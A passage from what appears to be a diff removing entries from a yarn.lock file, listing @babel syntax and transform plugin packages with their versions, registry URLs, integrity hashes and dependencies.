"https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699" - integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig== - dependencies: - "@babel/helper-plugin-utils" "^7.10.4" - -"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9" - integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-numeric-separator@^7.10.4": - version "7.10.4" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97" - integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug== - dependencies: - "@babel/helper-plugin-utils" "^7.10.4" - -"@babel/plugin-syntax-object-rest-spread@7.8.3", "@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871" - integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-optional-catch-binding@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1" - integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-optional-chaining@^7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a" - integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg== - dependencies: - "@babel/helper-plugin-utils" "^7.8.0" - -"@babel/plugin-syntax-private-property-in-object@^7.14.5": - version "7.14.5" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad" - integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg== - dependencies: - "@babel/helper-plugin-utils" "^7.14.5" - -"@babel/plugin-syntax-top-level-await@^7.14.5": - version "7.14.5" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c" - integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw== - dependencies: - "@babel/helper-plugin-utils" "^7.14.5" - -"@babel/plugin-syntax-typescript@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz#1c09cd25795c7c2b8a4ba9ae49394576d4133285" - integrity sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-arrow-functions@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz#19063fcf8771ec7b31d742339dac62433d0611fe" - integrity sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-async-to-generator@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz#ccda3d1ab9d5ced5265fdb13f1882d5476c71615" - integrity sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag== - dependencies: - "@babel/helper-module-imports" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-remap-async-to-generator" "^7.18.6" - -"@babel/plugin-transform-block-scoped-functions@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz#9187bf4ba302635b9d70d986ad70f038726216a8" - integrity sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-block-scoping@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz#f9b7e018ac3f373c81452d6ada8bd5a18928926d" - integrity sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-block-scoping@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.20.2.tgz#f59b1767e6385c663fd0bce655db6ca9c8b236ed" - integrity sha512-y5V15+04ry69OV2wULmwhEA6jwSWXO1TwAtIwiPXcvHcoOQUqpyMVd2bDsQJMW8AurjulIyUV8kDqtjSwHy1uQ== - dependencies: - "@babel/helper-plugin-utils" "^7.20.2" - -"@babel/plugin-transform-classes@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.18.9.tgz#90818efc5b9746879b869d5ce83eb2aa48bbc3da" - integrity sha512-EkRQxsxoytpTlKJmSPYrsOMjCILacAjtSVkd4gChEe2kXjFCun3yohhW5I7plXJhCemM0gKsaGMcO8tinvCA5g== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-function-name" "^7.18.9" - "@babel/helper-optimise-call-expression" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-replace-supers" "^7.18.9" - "@babel/helper-split-export-declaration" "^7.18.6" - globals "^11.1.0" - -"@babel/plugin-transform-classes@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.20.2.tgz#c0033cf1916ccf78202d04be4281d161f6709bb2" - integrity sha512-9rbPp0lCVVoagvtEyQKSo5L8oo0nQS/iif+lwlAz29MccX2642vWDlSZK+2T2buxbopotId2ld7zZAzRfz9j1g== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-compilation-targets" "^7.20.0" - "@babel/helper-environment-visitor" "^7.18.9" - "@babel/helper-function-name" "^7.19.0" - "@babel/helper-optimise-call-expression" "^7.18.6" - "@babel/helper-plugin-utils" "^7.20.2" - "@babel/helper-replace-supers" "^7.19.1" - "@babel/helper-split-export-declaration" "^7.18.6" - globals "^11.1.0" - -"@babel/plugin-transform-computed-properties@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz#2357a8224d402dad623caf6259b611e56aec746e" - integrity sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-destructuring@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.9.tgz#68906549c021cb231bee1db21d3b5b095f8ee292" - integrity sha512-p5VCYNddPLkZTq4XymQIaIfZNJwT9YsjkPOhkVEqt6QIpQFZVM9IltqqYpOEkJoN1DPznmxUDyZ5CTZs/ZCuHA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-destructuring@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.20.2.tgz#c23741cfa44ddd35f5e53896e88c75331b8b2792" - integrity sha512-mENM+ZHrvEgxLTBXUiQ621rRXZes3KWUv6NdQlrnr1TkWVw+hUjQBZuP2X32qKlrlG2BzgR95gkuCRSkJl8vIw== - dependencies: - "@babel/helper-plugin-utils" "^7.20.2" - -"@babel/plugin-transform-dotall-regex@^7.18.6", "@babel/plugin-transform-dotall-regex@^7.4.4": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz#b286b3e7aae6c7b861e45bed0a2fafd6b1a4fef8" - integrity sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg== - dependencies: - "@babel/helper-create-regexp-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-duplicate-keys@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz#687f15ee3cdad6d85191eb2a372c4528eaa0ae0e" - integrity sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-exponentiation-operator@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz#421c705f4521888c65e91fdd1af951bfefd4dacd" - integrity sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw== - dependencies: - "@babel/helper-builder-binary-assignment-operator-visitor" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-for-of@^7.18.8": - version "7.18.8" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz#6ef8a50b244eb6a0bdbad0c7c61877e4e30097c1" - integrity sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-function-name@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz#cc354f8234e62968946c61a46d6365440fc764e0" - integrity sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ== - dependencies: - "@babel/helper-compilation-targets" "^7.18.9" - "@babel/helper-function-name" "^7.18.9" - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-literals@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz#72796fdbef80e56fba3c6a699d54f0de557444bc" - integrity sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-member-expression-literals@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz#ac9fdc1a118620ac49b7e7a5d2dc177a1bfee88e" - integrity sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-modules-amd@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz#8c91f8c5115d2202f277549848874027d7172d21" - integrity sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg== - dependencies: - "@babel/helper-module-transforms" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - babel-plugin-dynamic-import-node "^2.3.3" - -"@babel/plugin-transform-modules-amd@^7.19.6": - version "7.19.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.19.6.tgz#aca391801ae55d19c4d8d2ebfeaa33df5f2a2cbd" - integrity sha512-uG3od2mXvAtIFQIh0xrpLH6r5fpSQN04gIVovl+ODLdUMANokxQLZnPBHcjmv3GxRjnqwLuHvppjjcelqUFZvg== - dependencies: - "@babel/helper-module-transforms" "^7.19.6" - "@babel/helper-plugin-utils" "^7.19.0" - -"@babel/plugin-transform-modules-commonjs@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz#afd243afba166cca69892e24a8fd8c9f2ca87883" - integrity sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q== - dependencies: - "@babel/helper-module-transforms" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-simple-access" "^7.18.6" - babel-plugin-dynamic-import-node "^2.3.3" - -"@babel/plugin-transform-modules-commonjs@^7.19.6": - version "7.19.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.19.6.tgz#25b32feef24df8038fc1ec56038917eacb0b730c" - integrity sha512-8PIa1ym4XRTKuSsOUXqDG0YaOlEuTVvHMe5JCfgBMOtHvJKw/4NGovEGN33viISshG/rZNVrACiBmPQLvWN8xQ== - dependencies: - "@babel/helper-module-transforms" "^7.19.6" - "@babel/helper-plugin-utils" "^7.19.0" - "@babel/helper-simple-access" "^7.19.4" - -"@babel/plugin-transform-modules-systemjs@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.18.9.tgz#545df284a7ac6a05125e3e405e536c5853099a06" - integrity sha512-zY/VSIbbqtoRoJKo2cDTewL364jSlZGvn0LKOf9ntbfxOvjfmyrdtEEOAdswOswhZEb8UH3jDkCKHd1sPgsS0A== - dependencies: - "@babel/helper-hoist-variables" "^7.18.6" - "@babel/helper-module-transforms" "^7.18.9" - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-validator-identifier" "^7.18.6" - babel-plugin-dynamic-import-node "^2.3.3" - -"@babel/plugin-transform-modules-systemjs@^7.19.6": - version "7.19.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.19.6.tgz#59e2a84064b5736a4471b1aa7b13d4431d327e0d" - integrity sha512-fqGLBepcc3kErfR9R3DnVpURmckXP7gj7bAlrTQyBxrigFqszZCkFkcoxzCp2v32XmwXLvbw+8Yq9/b+QqksjQ== - dependencies: - "@babel/helper-hoist-variables" "^7.18.6" - "@babel/helper-module-transforms" "^7.19.6" - "@babel/helper-plugin-utils" "^7.19.0" - "@babel/helper-validator-identifier" "^7.19.1" - -"@babel/plugin-transform-modules-umd@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz#81d3832d6034b75b54e62821ba58f28ed0aab4b9" - integrity sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ== - dependencies: - "@babel/helper-module-transforms" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-named-capturing-groups-regex@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.18.6.tgz#c89bfbc7cc6805d692f3a49bc5fc1b630007246d" - integrity sha512-UmEOGF8XgaIqD74bC8g7iV3RYj8lMf0Bw7NJzvnS9qQhM4mg+1WHKotUIdjxgD2RGrgFLZZPCFPFj3P/kVDYhg== - dependencies: - "@babel/helper-create-regexp-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-named-capturing-groups-regex@^7.19.1": - version "7.19.1" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.19.1.tgz#ec7455bab6cd8fb05c525a94876f435a48128888" - integrity sha512-oWk9l9WItWBQYS4FgXD4Uyy5kq898lvkXpXQxoJEY1RnvPk4R/Dvu2ebXU9q8lP+rlMwUQTFf2Ok6d78ODa0kw== - dependencies: - "@babel/helper-create-regexp-features-plugin" "^7.19.0" - "@babel/helper-plugin-utils" "^7.19.0" - -"@babel/plugin-transform-new-target@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz#d128f376ae200477f37c4ddfcc722a8a1b3246a8" - integrity sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-object-super@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz#fb3c6ccdd15939b6ff7939944b51971ddc35912c" - integrity sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-replace-supers" "^7.18.6" - -"@babel/plugin-transform-parameters@^7.12.1", "@babel/plugin-transform-parameters@^7.18.8": - version "7.18.8" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz#ee9f1a0ce6d78af58d0956a9378ea3427cccb48a" - integrity sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-parameters@^7.20.1": - version "7.20.3" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.20.3.tgz#7b3468d70c3c5b62e46be0a47b6045d8590fb748" - integrity sha512-oZg/Fpx0YDrj13KsLyO8I/CX3Zdw7z0O9qOd95SqcoIzuqy/WTGWvePeHAnZCN54SfdyjHcb1S30gc8zlzlHcA== - dependencies: - "@babel/helper-plugin-utils" "^7.20.2" - -"@babel/plugin-transform-property-literals@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz#e22498903a483448e94e032e9bbb9c5ccbfc93a3" - integrity sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-react-constant-elements@^7.14.5": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.18.9.tgz#ff6aeedd38f57ba6b41dcf824fcc8bcedb3e783f" - integrity sha512-IrTYh1I3YCEL1trjknnlLKTp5JggjzhKl/d3ibzPc97JhpFcDTr38Jdek/oX4cFbS6By0bXJcOkpRvJ5ZHK2wQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-react-display-name@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz#8b1125f919ef36ebdfff061d664e266c666b9415" - integrity sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-react-jsx-development@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz#dbe5c972811e49c7405b630e4d0d2e1380c0ddc5" - integrity sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA== - dependencies: - "@babel/plugin-transform-react-jsx" "^7.18.6" - -"@babel/plugin-transform-react-jsx@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.18.6.tgz#2721e96d31df96e3b7ad48ff446995d26bc028ff" - integrity sha512-Mz7xMPxoy9kPS/JScj6fJs03TZ/fZ1dJPlMjRAgTaxaS0fUBk8FV/A2rRgfPsVCZqALNwMexD+0Uaf5zlcKPpw== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-module-imports" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-jsx" "^7.18.6" - "@babel/types" "^7.18.6" - -"@babel/plugin-transform-react-pure-annotations@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz#561af267f19f3e5d59291f9950fd7b9663d0d844" - integrity sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ== - dependencies: - "@babel/helper-annotate-as-pure" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-regenerator@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz#585c66cb84d4b4bf72519a34cfce761b8676ca73" - integrity sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - regenerator-transform "^0.15.0" - -"@babel/plugin-transform-reserved-words@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz#b1abd8ebf8edaa5f7fe6bbb8d2133d23b6a6f76a" - integrity sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-runtime@^7.18.6": - version "7.19.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.19.6.tgz#9d2a9dbf4e12644d6f46e5e75bfbf02b5d6e9194" - integrity sha512-PRH37lz4JU156lYFW1p8OxE5i7d6Sl/zV58ooyr+q1J1lnQPyg5tIiXlIwNVhJaY4W3TmOtdc8jqdXQcB1v5Yw== - dependencies: - "@babel/helper-module-imports" "^7.18.6" - "@babel/helper-plugin-utils" "^7.19.0" - babel-plugin-polyfill-corejs2 "^0.3.3" - babel-plugin-polyfill-corejs3 "^0.6.0" - babel-plugin-polyfill-regenerator "^0.4.1" - semver "^6.3.0" - -"@babel/plugin-transform-shorthand-properties@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz#6d6df7983d67b195289be24909e3f12a8f664dc9" - integrity sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-spread@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.18.9.tgz#6ea7a6297740f381c540ac56caf75b05b74fb664" - integrity sha512-39Q814wyoOPtIB/qGopNIL9xDChOE1pNU0ZY5dO0owhiVt/5kFm4li+/bBtwc7QotG0u5EPzqhZdjMtmqBqyQA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-skip-transparent-expression-wrappers" "^7.18.9" - -"@babel/plugin-transform-spread@^7.19.0": - version "7.19.0" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.19.0.tgz#dd60b4620c2fec806d60cfaae364ec2188d593b6" - integrity sha512-RsuMk7j6n+r752EtzyScnWkQyuJdli6LdO5Klv8Yx0OfPVTcQkIUfS8clx5e9yHXzlnhOZF3CbQ8C2uP5j074w== - dependencies: - "@babel/helper-plugin-utils" "^7.19.0" - "@babel/helper-skip-transparent-expression-wrappers" "^7.18.9" - -"@babel/plugin-transform-sticky-regex@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz#c6706eb2b1524028e317720339583ad0f444adcc" - integrity sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-template-literals@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz#04ec6f10acdaa81846689d63fae117dd9c243a5e" - integrity sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-typeof-symbol@^7.18.9": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz#c8cea68263e45addcd6afc9091429f80925762c0" - integrity sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-typescript@^7.18.6": - version "7.18.8" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.18.8.tgz#303feb7a920e650f2213ef37b36bbf327e6fa5a0" - integrity sha512-p2xM8HI83UObjsZGofMV/EdYjamsDm6MoN3hXPYIT0+gxIoopE+B7rPYKAxfrz9K9PK7JafTTjqYC6qipLExYA== - dependencies: - "@babel/helper-create-class-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/plugin-syntax-typescript" "^7.18.6" - -"@babel/plugin-transform-unicode-escapes@^7.18.10": - version "7.18.10" - resolved 